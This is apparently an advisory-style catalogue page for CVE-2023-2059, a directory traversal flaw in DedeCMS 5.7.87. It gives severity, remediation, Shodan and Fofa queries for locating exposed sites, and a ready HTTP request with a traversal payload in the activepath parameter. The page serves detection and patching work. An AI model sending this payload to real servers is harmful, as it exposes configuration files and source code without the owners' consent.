🔙 목록으로 돌아가기

CVE-2023-2059: DedeCMS 5.7.87 - Directory Traversal

TitleDedeCMS 5.7.87 - Directory Traversal
Authorpussycat0x
SeverityMedium
ImpactUnauthenticated attackers can exploit directory traversal through the activepath parameter in select_templets.php to read sensitive DedeCMS configuration files and source code.
RemediationUpdate DedeCMS to a version newer than 5.7.87 that properly validates and sanitizes the activepath parameter in select_templets.php.
CVSS Score5.3
EPSS Score0.04964
CVE IDCVE-2023-2059
CWE IDCWE-28
Shodan Queryhttp.html:"dedecms"cpe:"cpe:2.3:a:dedecms:dedecms"
Fofa Queryapp="DedeCMS"app="dedecms"body="dedecms"
Tags cve cve2023 dedecms lfi vkev vuln

🔍 Vulnerability Description

Directory traversal vulnerability in DedeCMS 5.7.87 allows reading sensitive files via the $activepath parameter.

🌐 HTTP Request

GET /include/dialog/select_templets.php?f=form1.templetactivepath=%2ftemplets/../..\..\..\ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2059.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-2059.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A